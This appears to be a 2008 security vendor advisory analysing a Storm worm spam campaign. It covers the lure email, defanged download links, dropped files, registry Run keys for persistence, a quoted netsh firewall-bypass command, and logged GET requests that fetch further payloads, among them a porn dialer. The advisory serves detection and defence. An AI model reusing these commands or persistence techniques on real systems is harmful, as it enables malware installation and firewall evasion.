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New spammed wave of Storm emails was discovered.  The email arrives with the subject: Re: 

Delivery Protection. The body of the message contains a link <Server Error #203> pointing to 

hxxp://www.slowinscy.pl/xxx/index1.php

The webpage is hosted on a legitimate Polish domain (www.slowinscy.pl) for the Slowinscy 

Company making windows and doors.

The page above displays some fake security warnings and prompts you to download 

hxxp://www.slowinscy.pl/xxx/2009/1/install_en.exe.

That's a Tibs packed Storm worm binary. It is also known as TR/Dldr.Agent.uku(Antivir),  

Trojan-Dropper.Win32.Nuwar.ldt (Ikarus), Mal/EncPk-DA (Sophos)

When run it drops the following files on the system:

 C:\WINDOWS\system32\winds32.exe  (Copy of the original file)
 C:\WINDOWS\system32\dflgh8jkd2q1.exe
 C:\WINDOWS\system32\dflgh8jkd2q2.exe
 C:\WINDOWS\system32\dflgh8jkd2q5.exe
 C:\WINDOWS\system32\dflgh8jkd2q6.exe
 C:\WINDOWS\system32\dflgh8jkd2q7.exe
 C:\WINDOWS\system32\dflgh8jkd2q8.exe
 C:\WINDOWS\system32\maxpaynowti1.exe
 C:\WINDOWS\system32\vedxg4am1et2.exe
 C:\WINDOWS\system32\vedxga1me4t1.exe
 C:\WINDOWS\system32\vedxga3me2.exe
 C:\WINDOWS\system32\vedxga4me1.exe
 C:\WINDOWS\system32\vx.tll
 C:\WINDOWS\xpupdate.exe

It modifies the registry:

 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\System32: 
"C:\WINDOWS\system32\winds32.exe"

 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\DriveSystem: 
"C:\WINDOWS\system32\maxpaynowti1.exe"



 HKU\S-1-5-21-1275210071-573735546-839522115-
1003\Software\Microsoft\Windows\CurrentVersion\Run\Windows update loader: 
"C:\Windows\xpupdate.exe"

It runs command “netsh firewall set allowedprogram '%s' enable” to bypass the firewall.

In addition it sends following GET requests:

GET 
/adv/102/adload.php?a1=United%20States&a2=Type%20of%20Procfssor:%20PENTIUM%20PRO%20or%20P
ENTIUM%20II/III&a3=Windowd%20versign%20is%205.1&a4=Build:%202600,%20Platform%20ID:%202&a5
=ntoutpost&table=adv102 HTTP/1.1 
GET /rftghjkljhgfdsdfgh.php?adv=102&code1=IQJJ&code2=2471 HTTP/1.1
GET 
/qwertyuiyw12ertyuytre/adv102.php?adv=102&code1=IQJJ&code2=2471&code3=76D206E027F58!VR 
HTTP/1.1
GET /pictures/search.jpg HTTP/1.1
GET /pictures/winlogon.jpg HTTP/1.1
GET /pictures/tibs.jpg HTTP/1.1
GET /pictures/tool.jpg HTTP/1.1
GET /pictures/proxy.jpg HTTP/1.1
GET 
/qwertyuiyw12ertyuytre/adv102.php?adv=102&code1=IQJJ&code2=2471&code3=76D206E027F58!VR 
HTTP/1.1
GET /pictures9/zgame1 HTTP/1.1
GET /pictures1/ztool1 HTTP/1.1
GET /pictures9/zgame1 HTTP/1.1
GET /pictures9/zgame2 HTTP/1.1
GET /pictures9/zgame2 HTTP/1.1
GET /pictures1/ztool2 HTTP/1.1
GET /pictures1/ztool3 HTTP/1.1
GET /pictures9/zgame3 HTTP/1.1
GET /pictures9/zgame3 HTTP/1.1
GET /pictures9/zgame4 HTTP/1.1
GET /pictures9/zgame4 HTTP/1.1
Host: sum4count.xxx

GET /download.php?&advid=00000278&u=0&p=15854824 HTTP/1.0
Host: download.bravesentry.xxx

GET /gdnOT3256.exe HTTP/1.1
Host: 85.255.120.xx

We have received 3 submissions of the Storm threat so far, starting from 2008-06-25 20:00:36

SonicWALL is  proactively blocking it as GAV: Suspicious#tibs.3 (Worm) . 

This signature has triggered 141,072 times since it was created on 6/17/2008 11:55 AM

The gdnOT3256.exe file Storm downloads with its last GET request is a Porn Dialer. It is also 

known as Dialer-3349(ClamAV), Porn-Dialer.Win32.GBDialer.j (Ikarus), Dialer-257 (McAfee). 

This application attempts to connect to pornographic sites at much higher rates than normal 

phone usage rate using a dialup connection through a modem. SonicWALL is blocking this Porn 

Dialer as GAV: GBDialer.J (Dialer). This signature has triggered 693,211 times since it was 

created on 5/27/2008 3:36 PM.






